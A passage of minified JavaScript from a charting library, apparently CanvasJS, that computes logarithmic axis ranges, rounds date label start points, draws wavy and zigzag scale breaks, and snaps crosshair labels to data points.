his.interval));if(null===this.viewportMaximum||
isNaN(this.viewportMaximum))this.viewportMaximum="axisX"===this.type?
e*Math.sqrt(g):Math.pow(this.logarithmBase,this.interval*Math.ceil(Math.log(e)/d/th
is.interval));1===this.viewportMaximum&&1===this.viewportMinimum&&(1===this.options
.viewportMinimum?this.viewportMaximum*=this.logarithmBase-1/this.logarithmBase:
1===this.options.viewportMaximum&&(this.viewportMinimum/=this.logarithmBase-
1/this.logarithmBase),this.options&&"undefined"===typeof
this.options.interval&&(this.interval=z.getNiceExponent(Math.ceil(Math.log(k)/d)/
(a-1)),b=z.getNiceNumber((this.viewportMaximum-this.viewportMinimum)/(a-1),!
0)));if(null===this.minimum||null===this.maximum)"axisX"===this.type?(c=null!
==this.minimum?this.minimum:this.dataInfo.min,e=null!==this.maximum?
this.maximum:this.dataInfo.max,1===e/c&&(k=Math.pow(this.logarithmBase,
"undefined"===typeof this.options.interval?
0.4:this.options.interval),e*=k,c/=k),g=Infinity!==this.dataInfo.minDiff?
this.dataInfo.minDiff:e/c>this.logarithmBase?
e/c*Math.pow(this.logarithmBase,0.5):this.logarithmBase):"axisY"===this.type&&(c=nu
ll!==this.minimum?this.minimum:this.dataInfo.min,e=null!==this.maximum?
this.maximum:this.dataInfo.max,isFinite(c)||isFinite(e)?1===c&&1===e?
(e*=this.logarithmBase,c/=this.logarithmBase):1===e/c?
(k=Math.pow(this.logarithmBase,this.interval),e*=k,c/=k):c>e?(k=
Math.min(0.01*(c/e),5),1<=e?c=e/k:e=c*k):
(k=Math.min(e/c*Math.pow(this.logarithmBase,0.01),Math.pow(this.logarithmBase,0.04)
),1!==e&&(e*=k),1!==c&&(c/=k)):(e="undefined"===typeof this.options.interval?
0:this.options.interval,c=1),g=Infinity!==this.dataInfo.minDiff?
this.dataInfo.minDiff:e/c>this.logarithmBase?
e/c*Math.pow(this.logarithmBase,0.5):this.logarithmBase,this.includeZero&&(null===t
his.minimum||
isNaN(this.minimum))&&1<c&&(c=1),this.includeZero&&(null===this.maximum||
isNaN(this.maximum))&&
1>e&&(e=1)),this.intervalType="number",null===this.minimum&&(this.minimum="axisX"==
=this.type?
c/Math.sqrt(g):Math.pow(this.logarithmBase,this.interval*Math.floor(Math.log(c)/d/t
his.interval)),this.minimum=Math.min(this.minimum,null===this.sessionVariables.view
portMinimum||isNaN(this.sessionVariables.viewportMinimum)?"undefined"===typeof
this.sessionVariables.newViewportMinimum?
Infinity:this.sessionVariables.newViewportMinimum:this.sessionVariables.viewportMin
imum)),null===this.maximum&&(this.maximum=
"axisX"===this.type?
e*Math.sqrt(g):Math.pow(this.logarithmBase,this.interval*Math.ceil(Math.log(e)/d/th
is.interval)),this.maximum=Math.max(this.maximum,null===this.sessionVariables.viewp
ortMaximum||isNaN(this.sessionVariables.viewportMaximum)?"undefined"===typeof
this.sessionVariables.newViewportMaximum?
0:this.sessionVariables.newViewportMaximum:this.sessionVariables.viewportMaximum)),
1===this.maximum&&1===this.minimum&&(1===this.options.minimum?
this.maximum*=this.logarithmBase-1/this.logarithmBase:
1===this.options.maximum&&(this.minimum/=this.logarithmBase-
1/this.logarithmBase));this.viewportMinimum=Math.max(this.viewportMinimum,this.mini
mum);this.viewportMaximum=Math.min(this.viewportMaximum,this.maximum);this.viewport
Minimum>this.viewportMaximum&&(!this.options.viewportMinimum&&!
this.options.minimum||this.options.viewportMaximum||this.options.maximum?
this.options.viewportMinimum||this.options.minimum||!
this.options.viewportMaximum&&!this.options.maximum||
(this.viewportMinimum=this.minimum=
(this.options.viewportMaximum||
this.options.maximum)/Math.pow(this.logarithmBase,2*Math.ceil(this.interval))):this
.viewportMaximum=this.maximum=this.options.viewportMinimum||
this.options.minimum);c=Math.pow(this.logarithmBase,Math.floor(Math.log(this.viewpo
rtMinimum)/(d*this.interval)
+0.2)*this.interval);this.range=this.viewportMaximum/this.viewportMinimum;this.noTi
cks=a;if(!
this.options.interval&&this.range<Math.pow(this.logarithmBase,8>this.viewportMaximu
m||3>a?2:3)){for(d=Math.floor(this.viewportMinimum/
b+0.5)*b;d<this.viewportMinimum;)d+=b;this.equidistantInterval=!
1;this.intervalStartPosition=d;this.interval=b}else this.options.interval||
(b=Math.ceil(this.interval),this.range>this.interval&&(this.interval=b,c=Math.pow(t
his.logarithmBase,Math.floor(Math.log(this.viewportMinimum)/(d*this.interval)
+0.2)*this.interval))),this.equidistantInterval=!
0,this.intervalStartPosition=c;if(!
this.valueFormatString&&(this.valueFormatString="#,##0.##",1>this.viewportMinimum))
{d=Math.floor(Math.abs(Math.log(this.viewportMinimum)/
Math.LN10))+2;if(isNaN(d)||!isFinite(d))d=2;if(2<d)for(k=0;k<d-2;k+
+)this.valueFormatString+="#"}};z.generateValueFormatString=function(a,d){var
b="#,##0.",c=d;1>a&&(c+=Math.floor(Math.abs(Math.log(a)/Math.LN10)),isNaN(c)||!
isFinite(c))&&(c=d);for(var e=0;e<c;e++)b+="#";return
b};z.getNiceExponent=function(a,d){var
b=Math.floor(Math.log(a)/Math.LN10),c=a/Math.pow(10,b),c=0>b?1>=c?1:5>=c?
5:10:Math.max(Math.floor(c),1);return-20>b?
Number(c*Math.pow(10,b)):Number((c*Math.pow(10,b)).toFixed(20))};z.getNiceNumber=
function(a,d){var b=Math.floor(Math.log(a)/Math.LN10),c=a/Math.pow(10,b),c=d?1.5>c?
1:3>c?2:7>c?5:10:1>=c?1:2>=c?2:5>=c?5:10;return-20>b?
Number(c*Math.pow(10,b)):Number((c*Math.pow(10,b)).toFixed(20))};z.prototype.getLab
elStartPoint=function(){var a=S[this.intervalType+"Duration"]*this.interval,a=new
Date(Math.floor(this.viewportMinimum/a)*a);if("millisecond"!
==this.intervalType)if("second"===this.intervalType)0<a.getMilliseconds()&&(a.setSe
conds(a.getSeconds()+1),a.setMilliseconds(0));else if("minute"===
this.intervalType){if(0<a.getSeconds()||
0<a.getMilliseconds())a.setMinutes(a.getMinutes()
+1),a.setSeconds(0),a.setMilliseconds(0)}else if("hour"===this.intervalType)
{if(0<a.getMinutes()||0<a.getSeconds()||
0<a.getMilliseconds())a.setHours(a.getHours()
+1),a.setMinutes(0),a.setSeconds(0),a.setMilliseconds(0)}else
if("day"===this.intervalType){if(0<a.getHours()||0<a.getMinutes()||
0<a.getSeconds()||0<a.getMilliseconds())a.setDate(a.getDate()
+1),a.setHours(0),a.setMinutes(0),a.setSeconds(0),a.setMilliseconds(0)}else
if("week"===
this.intervalType){if(0<a.getDay()||0<a.getHours()||0<a.getMinutes()||
0<a.getSeconds()||0<a.getMilliseconds())a.setDate(a.getDate()+(7-
a.getDay())),a.setHours(0),a.setMinutes(0),a.setSeconds(0),a.setMilliseconds(0)}els
e if("month"===this.intervalType){if(1<a.getDate()||0<a.getHours()||
0<a.getMinutes()||0<a.getSeconds()||0<a.getMilliseconds())a.setMonth(a.getMonth()
+1),a.setDate(1),a.setHours(0),a.setMinutes(0),a.setSeconds(0),a.setMilliseconds(0)
}else"year"===this.intervalType&&(0<a.getMonth()||1<
a.getDate()||0<a.getHours()||0<a.getMinutes()||0<a.getSeconds()||
0<a.getMilliseconds())&&(a.setFullYear(a.getFullYear()
+1),a.setMonth(0),a.setDate(1),a.setHours(0),a.setMinutes(0),a.setSeconds(0),a.setM
illiseconds(0));return a};qa(Q,V);qa(L,V);L.prototype.createUserOptions=function(a)
{if("undefined"!==typeof a||this.options._isPlaceholder){var
d=0;this.parent.options._isPlaceholder&&this.parent.createUserOptions();this.option
s._isPlaceholder||
(Fa(this.parent[this.optionsName]),d=this.parent.options[this.optionsName].indexOf(
this.options));
this.options="undefined"===typeof a?{}:a;this.parent.options[this.optionsName]
[d]=this.options}};L.prototype.render=function(a){if(0!==this.spacing||0!
==this.options.lineThickness&&("undefined"!==typeof this.options.lineThickness||0!
==this.parent.lineThickness)){var d=this.ctx,b=this.ctx.globalAlpha;this.ctx=a||
this.ctx;this.ctx.save();this.ctx.beginPath();this.ctx.rect(this.chart.plotArea.x1,
this.chart.plotArea.y1,this.chart.plotArea.width,this.chart.plotArea.height);this.c
tx.clip();var c=this.scaleBreaks.parent.getPixelCoordinatesOnAxis(this.startValue),
e=this.scaleBreaks.parent.getPixelCoordinatesOnAxis(this.endValue);this.ctx.strokeS
tyle=this.lineColor;this.ctx.fillStyle=this.color;this.ctx.beginPath();this.ctx.glo
balAlpha=1;N(this.id);var g,k,l,h,m,p;a=Math.max(this.spacing,3);var
q=Math.max(0,this.lineThickness);this.ctx.lineWidth=q;this.ctx.setLineDash&&this.ct
x.setLineDash(R(this.lineDashType,q));if("bottom"===this.scaleBreaks.parent._positi
on||"top"===this.scaleBreaks.parent._position)if(c=1===q%2?
(c.x<<0)+0.5:c.x<<0,k=1===q%2?(e.x<<0)+0.5:
e.x<<0,"top"===this.scaleBreaks.parent._position?
(e=this.chart.plotArea.y1,l=this.chart.plotArea.y2+q/2+0.5<<0):
(e=this.chart.plotArea.y2,l=this.chart.plotArea.y1-q/2+0.5<<0,a*=-
1),this.bounds={x1:c-
q/2,y1:e,x2:k+q/2,y2:l},this.ctx.moveTo(c,e),"straight"===this.type||"top"===this.s
caleBreaks.parent._position&&0>=a||"bottom"===this.scaleBreaks.parent._position&&0<
=a)this.ctx.lineTo(c,l),this.ctx.lineTo(k,l),this.ctx.lineTo(k,e);else
if("wavy"===this.type){h=c;m=e;g=0.5;p=(l-m)/a/3;for(var n=0;n<p;n+
+)this.ctx.bezierCurveTo(h+
g*a,m+a,h+g*a,m+2*a,h,m+3*a),m+=3*a,g*=-
1;this.ctx.bezierCurveTo(h+g*a,m+a,h+g*a,m+2*a,h,m+3*a);h=k;g*=-
1;this.ctx.lineTo(h,m);for(n=0;n<p;n++)this.ctx.bezierCurveTo(h+g*a,m-a,h+g*a,m-
2*a,h,m-3*a),m-=3*a,g*=-1}else{if("zigzag"===this.type){g=-1;m=e+a;h=c+a;p=(l-
m)/a/2;for(n=0;n<p;n++)this.ctx.lineTo(h,m),h+=2*g*a,m+=2*a,g*=-
1;this.ctx.lineTo(h,m);h+=k-c;for(n=0;n<p+1;n++)this.ctx.lineTo(h,m),h+=2*g*a,m-
=2*a,g*=-1;this.ctx.lineTo(h+g*a,m+a)}}else
if("left"===this.scaleBreaks.parent._position||"right"===
this.scaleBreaks.parent._position)if(e=1===q%2?(e.y<<0)+0.5:e.y<<0,l=1===q%2?
(c.y<<0)+0.5:c.y<<0,"left"===this.scaleBreaks.parent._position?
(c=this.chart.plotArea.x1,k=this.chart.plotArea.x2+q/2+0.5<<0):
(c=this.chart.plotArea.x2,k=this.chart.plotArea.x1-q/2+0.5<<0,a*=-
1),this.bounds={x1:c,y1:e-
q/2,x2:k,y2:l+q/2},this.ctx.moveTo(c,e),"straight"===this.type||"left"===this.scale
Breaks.parent._position&&0>=a||"right"===this.scaleBreaks.parent._position&&0<=a)th
is.ctx.lineTo(k,e),this.ctx.lineTo(k,l),
this.ctx.lineTo(c,l);else if("wavy"===this.type){h=c;m=e;g=0.5;p=(k-
h)/a/3;for(n=0;n<p;n+
+)this.ctx.bezierCurveTo(h+a,m+g*a,h+2*a,m+g*a,h+3*a,m),h+=3*a,g*=-
1;this.ctx.bezierCurveTo(h+a,m+g*a,h+2*a,m+g*a,h+3*a,m);m=l;g*=-
1;this.ctx.lineTo(h,m);for(n=0;n<p;n++)this.ctx.bezierCurveTo(h-a,m+g*a,h-
2*a,m+g*a,h-3*a,m),h-=3*a,g*=-1}else if("zigzag"===this.type){g=1;m=e-a;h=c+a;p=(k-
h)/a/2;for(n=0;n<p;n++)this.ctx.lineTo(h,m),m+=2*g*a,h+=2*a,g*=-
1;this.ctx.lineTo(h,m);m+=l-e;for(n=0;n<p+1;n++)this.ctx.lineTo(h,
m),m+=2*g*a,h-=2*a,g*=-
1;this.ctx.lineTo(h+a,m+g*a)}0<q&&this.ctx.stroke();this.ctx.closePath();this.ctx.g
lobalAlpha=this.fillOpacity;this.ctx.globalCompositeOperation="destination-
over";this.ctx.fill();this.ctx.restore();this.ctx.globalAlpha=b;this.ctx=d}};qa(X,V
);X.prototype.createUserOptions=function(a){if("undefined"!==typeof a||
this.options._isPlaceholder){var
d=0;this.parent.options._isPlaceholder&&this.parent.createUserOptions();this.option
s._isPlaceholder||
(Fa(this.parent.stripLines),d=this.parent.options.stripLines.indexOf(this.options))
;
this.options="undefined"===typeof a?
{}:a;this.parent.options.stripLines[d]=this.options}};X.prototype.render=function()
{this.ctx.save();var
a=this.parent.getPixelCoordinatesOnAxis(this.value),d=Math.abs("pixel"===this._thic
knessType?
this.thickness:this.parent.conversionParameters.pixelPerUnit*this.thickness);if(0<d
){var b=null===this.opacity?
1:this.opacity;this.ctx.strokeStyle=this.color;this.ctx.beginPath();var
c=this.ctx.globalAlpha;this.ctx.globalAlpha=b;N(this.id);var
e,g,k,l;this.ctx.lineWidth=
d;this.ctx.setLineDash&&this.ctx.setLineDash(R(this.lineDashType,d));if("bottom"===
this.parent._position||"top"===this.parent._position)e=g=1===this.ctx.lineWidth%2?
(a.x<<0)+0.5:a.x<<0,k=this.chart.plotArea.y1,l=this.chart.plotArea.y2,this.bounds={
x1:e-d/2,y1:k,x2:g+d/2,y2:l};else
if("left"===this.parent._position||"right"===this.parent._position)k=l=1===this.ctx
.lineWidth%2?
(a.y<<0)+0.5:a.y<<0,e=this.chart.plotArea.x1,g=this.chart.plotArea.x2,this.bounds={
x1:e,y1:k-d/2,x2:g,y2:l+d/2};this.ctx.moveTo(e,
k);this.ctx.lineTo(g,l);this.ctx.stroke();this.ctx.globalAlpha=c}this.ctx.restore()
};qa(fa,V);fa.prototype.render=function(a,d){var b,c,e,g,k=null,l=k=null,h="";if(!
this.valueFormatString)if("dateTime"===this.parent.valueType)this.valueFormatString
=this.parent.valueFormatString;else{var
m=0,m="xySwapped"===this.chart.plotInfo.axisPlacement?50<this.parent.range?
0:500<this.chart.width&&25>this.parent.range?
2:Math.floor(Math.abs(Math.log(this.parent.range)/Math.LN10))+(5>this.parent.range?
2:10>this.parent.range?
1:0):50<this.parent.range?
0:Math.floor(Math.abs(Math.log(this.parent.range)/Math.LN10))+(5>this.parent.range?
2:10>this.parent.range?
1:0);this.valueFormatString=z.generateValueFormatString(this.parent.range,m)}var
l=null===this.opacity?1:this.opacity,m=Math.abs("pixel"===this._thicknessType?
this.thickness:this.parent.conversionParameters.pixelPerUnit*this.thickness),p=this
.chart.overlaidCanvasCtx,q=p.globalAlpha;p.globalAlpha=l;p.beginPath();p.strokeStyl
e=this.color;p.lineWidth=m;p.save();this.labelFontSize=
u(this.options.labelFontSize)?
this.parent.labelFontSize:this.labelFontSize;if("left"===this.parent._position||"ri
ght"===this.parent._position)this.labelMaxWidth=u(this.options.labelMaxWidth)?
this.parent.bounds.x2-
this.parent.bounds.x1:this.labelMaxWidth,this.labelMaxHeight=u(this.options.labelWr
ap)||this.labelWrap?3*this.chart.height:2*this.labelFontSize;else
if("top"===this.parent._position||"bottom"===this.parent._position)this.labelMaxWid
th=u(this.options.labelMaxWidth)?3*this.chart.width:this.labelMaxWidth,
this.labelMaxHeight=u(this.options.labelWrap)||this.labelWrap?
this.parent.bounds.height:2*this.labelFontSize;0<m&&p.setLineDash&&p.setLineDash(R(
this.lineDashType,m));l=new ka(p,{x:0,y:0,padding:
{top:2,right:3,bottom:2,left:4},backgroundColor:this.labelBackgroundColor,borderCol
or:this.labelBorderColor,borderThickness:this.labelBorderThickness,cornerRadius:thi
s.labelCornerRadius,maxWidth:this.labelMaxWidth,maxHeight:this.labelMaxHeight,angle
:this.labelAngle,text:h,horizontalAlign:"left",fontSize:this.labelFontSize,
fontFamily:this.labelFontFamily,fontWeight:this.labelFontWeight,fontColor:this.labe
lFontColor,fontStyle:this.labelFontStyle,textBaseline:"middle"});if(this.snapToData
Point){var n=0,k=[];if("xySwapped"===this.chart.plotInfo.axisPlacement){var
f=null;if("bottom"===this.parent._position||"top"===this.parent._position)n=this.pa
rent.dataSeries[0].axisX.convertPixelToValue({y:d});else
if("left"===this.parent._position||"right"===this.parent._position)n=this.parent.co
nvertPixelToValue({y:d});for(var r=0;r<
this.parent.dataSeries.length;r++)(f=this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(f.dataSeries=this.parent.dataSeries[r],null!
==f.dataPoint.y&&k.push(f));f=null;if(0===k.length)return;k.sort(function(a,b)
{return a.distance-b.distance});f=Math.abs(a-
this.parent.convertValueToPixel(k[0].dataPoint.y));r=0;if("rangeBar"===k[0].dataSer
ies.type||"error"===k[0].dataSeries.type)for(var f=Math.abs(a-
this.parent.convertValueToPixel(k[r].dataPoint.y[0])),v=0,n=0;n<k.length;n+
+)if(k[n].dataPoint.y&&
k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h++)v=Math.abs(a-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
v=Math.abs(a-this.parent.convertValueToPixel(k[n].dataPoint.y)),v<f&&(f=v,r=n);else
if("stackedBar"===k[0].dataSeries.type)for(var f=Math.abs(a-
this.parent.convertValueToPixel(k[0].dataPoint.y)),D=v=0,n=r=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(a-this.parent.convertValueToPixel(k[n].dataPoint.y[h])),
v<f&&(f=v,r=n);else D+=k[n].dataPoint.y,v=Math.abs(a-
this.parent.convertValueToPixel(D)),v<f&&(f=v,r=n);else
if("stackedBar100"===k[0].dataSeries.type)for(var f=Math.abs(a-
this.parent.convertValueToPixel(k[0].dataPoint.y)),t=D=v=0,n=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(a-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
D+=k[n].dataPoint.y,t=k[n].dataPoint.x.getTime?
k[n].dataPoint.x.getTime():k[n].dataPoint.x,
t=100*(D/k[n].dataSeries.plotUnit.dataPointYSums[t]),v=Math.abs(a-
this.parent.convertValueToPixel(t)),v<f&&(f=v,r=n);else for(f=Math.abs(a-
this.parent.convertValueToPixel(k[0].dataPoint.y)),n=r=v=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(a-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
v=Math.abs(a-
this.parent.convertValueToPixel(k[n].dataPoint.y)),v<f&&(f=v,r=n);h=k[r];if("bottom
"===this.parent._position||
"top"===this.parent._position)
{b=0;if("rangeBar"===this.parent.dataSeries[r].type||"error"===this.parent.dataSeri
es[r].type){f=Math.abs(a-
this.parent.convertValueToPixel(h.dataPoint.y[0]));for(n=v=0;n<h.dataPoint.y.length
;n++)v=Math.abs(a-
this.parent.convertValueToPixel(h.dataPoint.y[n])),v<f&&(f=v,b=n);k=1===p.lineWidth
%2?
(this.parent.convertValueToPixel(h.dataPoint.y[b])<<0)+0.5:this.parent.convertValue
ToPixel(h.dataPoint.y[b])<<0;l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,
axis:this.parent.options,crosshair:this.options,value:h.dataPoint.y[b]}):u(this.opt
ions.label)?
ba(h.dataPoint.y[b],this.valueFormatString,this.chart._cultureInfo):this.label}else
if("stackedBar"===this.parent.dataSeries[r].type){f=Math.abs(a-
this.parent.convertValueToPixel(k[0].dataPoint.y));D=v=0;for(n=r;0<=n;n--)D+=k[n].d
ataPoint.y,v=Math.abs(a-
this.parent.convertValueToPixel(D)),v<f&&(f=v,b=n);k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(D)<<0)+0.5:this.parent.convertValueToPixel(D)<<0;
l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.y}):u(this.options.label)?
ba(h.dataPoint.y,this.valueFormatString,this.chart._cultureInfo):this.label}else
if("stackedBar100"===this.parent.dataSeries[r].type){f=Math.abs(a-
this.parent.convertValueToPixel(k[0].dataPoint.y));t=D=v=0;for(n=r;0<=n;n--)D+=k[n]
.dataPoint.y,t=k[n].dataPoint.x.getTime?
k[n].dataPoint.x.getTime():k[n].dataPoint.x,t=100*(D/k[n].dataSeries.plotUnit.dataP
ointYSums[t]),
v=Math.abs(a-this.parent.convertValueToPixel(t)),v<f&&(f=v,b=n);k=1===p.lineWidth
%2?
(this.parent.convertValueToPixel(t)<<0)+0.5:this.parent.convertValueToPixel(t)<<0;l
.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:t}):u(this.options.label)?
ba(t,this.valueFormatString,this.chart._cultureInfo):this.label}else
k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(h.dataPoint.y)<<0)+0.5:this.parent.convertValueToP
ixel(h.dataPoint.y)<<
0,l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.y}):u(this.options.label)?
ba(h.dataPoint.y,this.valueFormatString,this.chart._cultureInfo):this.label;b=c=k;e
=this.chart.plotArea.y1;g=this.chart.plotArea.y2;this.bounds={x1:b-
m/2,y1:e,x2:c+m/2,y2:g};l.x=b-
l.measureText().width/2;l.x+l.width>this.chart.bounds.x2?l.x=this.chart.bounds.x2-
l.width:l.x<this.chart.bounds.x1&&(l.x=this.chart.bounds.x1);l.y=this.parent.lineCo
ordinates.y2+
l.fontSize/2+2}else
if("left"===this.parent._position||"right"===this.parent._position)
{e=g=k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(h.dataPoint.x)<<0)+0.5:this.parent.convertValueToP
ixel(h.dataPoint.x)<<0;b=this.chart.plotArea.x1;c=this.chart.plotArea.x2;this.bound
s={x1:b,y1:e-m/2,x2:c,y2:g+m/2};t=!
1;if(this.parent.labels)for(k=Math.ceil(this.parent.interval),n=0;n<this.parent.vie
wportMaximum;n+=k)if(this.parent.labels[n])t=!0;else{t=!1;break}if(t)
{if("axisX"===this.parent.type)for(n=
this.parent.convertPixelToValue({y:d}),f=null,r=0;r<this.parent.dataSeries.length;r
++)(f=this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.x}):u(this.options.label)?
f.dataPoint.label:this.label)}else"dateTime"===this.parent.valueType?
l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.x}):
u(this.options.label)?
Ca(h.dataPoint.x,this.valueFormatString,this.chart._cultureInfo):this.label:"number
"===this.parent.valueType&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.x}):u(this.options.label)?
ba(h.dataPoint.x,this.valueFormatString,this.chart._cultureInfo):this.label);l.y=g+
l.fontSize/2-l.measureText().height/2+2;l.y-l.fontSize/2<this.chart.bounds.y1?
l.y=this.chart.bounds.y1+l.fontSize/2+2:l.y+l.measureText().height-
l.fontSize/2>this.chart.bounds.y2&&(l.y=this.chart.bounds.y2-
l.measureText().height+l.fontSize/2);"left"===this.parent._position?
l.x=this.parent.lineCoordinates.x2-
l.measureText().width:"right"===this.parent._position&&(l.x=this.parent.lineCoordin
ates.x2)}}else if("bottom"===this.parent._position||"top"===this.parent._position)
{n=this.parent.convertPixelToValue({x:a});for(r=0;r<this.parent.dataSeries.length;r
++)(f=this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(f.dataSeries=this.parent.dataSeries[r],
null!==f.dataPoint.y&&k.push(f));if(0===k.length)return;k.sort(function(a,b){return
a.distance-b.distance});h=k[0];b=c=k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(h.dataPoint.x)<<0)+0.5:this.parent.convertValueToP
ixel(h.dataPoint.x)<<0;e=this.chart.plotArea.y1;g=this.chart.plotArea.y2;this.bound
s={x1:b-m/2,y1:e,x2:c+m/2,y2:g};t=!
1;if(this.parent.labels)for(k=Math.ceil(this.parent.interval),n=0;n<this.parent.vie
wportMaximum;n+=k)if(this.parent.labels[n])t=!0;else{t=!1;break}if(t){if("axisX"===
this.parent.type)for(n=this.parent.convertPixelToValue({x:a}),f=null,r=0;r<this.par
ent.dataSeries.length;r++)(f=this.parent.dataSeries[r].getDataPointAtX(n,!
0))&&0<=f.index&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.x}):u(this.options.label)?
f.dataPoint.label:this.label)}else"dateTime"===this.parent.valueType?
l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,
value:h.dataPoint.x}):u(this.options.label)?
Ca(h.dataPoint.x,this.valueFormatString,this.chart._cultureInfo):this.label:"number
"===this.parent.valueType&&(l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.x}):u(this.options.label)?
ba(h.dataPoint.x,this.valueFormatString,this.chart._cultureInfo):this.label);l.x=b-
l.measureText().width/2;l.x+l.width>this.chart.bounds.x2&&(l.x=this.chart.bounds.x2
-l.width);l.x<this.chart.bounds.x1&&
(l.x=this.chart.bounds.x1);"bottom"===this.parent._position?
l.y=this.parent.lineCoordinates.y2+l.fontSize/2+2:"top"===this.parent._position&&(l
.y=this.parent.lineCoordinates.y1-l.height+l.fontSize/2+2)}else
if("left"===this.parent._position||"right"===this.parent._position){!
u(this.parent.dataSeries)&&0<this.parent.dataSeries.length&&(n=this.parent.dataSeri
es[0].axisX.convertPixelToValue({x:a}));for(r=0;r<this.parent.dataSeries.length;r+
+)(f=this.parent.dataSeries[r].getDataPointAtX(n,!0))&&0<=f.index&&
(f.dataSeries=this.parent.dataSeries[r],null!
==f.dataPoint.y&&k.push(f));if(0===k.length)return;k.sort(function(a,b){return
a.distance-
b.distance});r=0;if("rangeColumn"===k[0].dataSeries.type||"rangeArea"===k[0].dataSe
ries.type||"error"===k[0].dataSeries.type||"rangeSplineArea"===k[0].dataSeries.type
||"candlestick"===k[0].dataSeries.type||"ohlc"===k[0].dataSeries.type||"boxAndWhisk
er"===k[0].dataSeries.type)for(f=Math.abs(d-
this.parent.convertValueToPixel(k[0].dataPoint.y[0])),n=v=0;n<k.length;n+
+)if(k[n].dataPoint.y&&
k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h++)v=Math.abs(d-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
v=Math.abs(d-this.parent.convertValueToPixel(k[n].dataPoint.y)),v<f&&(f=v,r=n);else
if("stackedColumn"===k[0].dataSeries.type||"stackedArea"===k[0].dataSeries.type)for
(f=Math.abs(d-
this.parent.convertValueToPixel(k[0].dataPoint.y)),n=D=v=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(d-this.parent.convertValueToPixel(k[n].dataPoint.y[h])),
v<f&&(f=v,r=n);else D+=k[n].dataPoint.y,v=Math.abs(d-
this.parent.convertValueToPixel(D)),v<f&&(f=v,r=n);else
if("stackedColumn100"===k[0].dataSeries.type||"stackedArea100"===k[0].dataSeries.ty
pe)for(f=Math.abs(d-
this.parent.convertValueToPixel(k[0].dataPoint.y)),n=t=D=v=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(d-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
D+=k[n].dataPoint.y,t=k[n].dataPoint.x.getTime?
k[n].dataPoint.x.getTime():k[n].dataPoint.x,t=100*(D/k[n].dataSeries.plotUnit.dataP
ointYSums[t]),v=Math.abs(d-this.parent.convertValueToPixel(t)),v<f&&(f=v,r=n);else
for(f=Math.abs(d-
this.parent.convertValueToPixel(k[0].dataPoint.y)),n=v=0;n<k.length;n+
+)if(k[n].dataPoint.y&&k[n].dataPoint.y.length)for(h=0;h<k[n].dataPoint.y.length;h+
+)v=Math.abs(d-
this.parent.convertValueToPixel(k[n].dataPoint.y[h])),v<f&&(f=v,r=n);else
v=Math.abs(d-this.parent.convertValueToPixel(k[n].dataPoint.y)),v<f&&(f=v,r=
n);h=k[r];b=0;if("rangeColumn"===this.parent.dataSeries[r].type||"rangeArea"===this
.parent.dataSeries[r].type||"error"===this.parent.dataSeries[r].type||"rangeSplineA
rea"===this.parent.dataSeries[r].type||"candlestick"===this.parent.dataSeries[r].ty
pe||"ohlc"===this.parent.dataSeries[r].type||"boxAndWhisker"===this.parent.dataSeri
es[r].type){f=Math.abs(d-
this.parent.convertValueToPixel(h.dataPoint.y[0]));for(n=v=0;n<h.dataPoint.y.length
;n++)v=Math.abs(d-this.parent.convertValueToPixel(h.dataPoint.y[n])),
v<f&&(f=v,b=n);k=1===p.lineWidth%2?
(this.parent.convertValueToPixel(h.dataPoint.y[b])<<0)+0.5:this.parent.convertValue
ToPixel(h.dataPoint.y[b])<<0;l.text=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.parent.options,crosshair:this.optio
ns,value:h.dataPoint.y[b]}):u(this.options.label)?
ba(h.dataPoint.y[b],this.valueFormatString,this.chart._cultureInfo):this.label}else
if("stackedColumn"===this.parent.dataSeries[r].type||"stackedArea"===this.parent.da
taSeries[r].type){f=Math.abs(d-
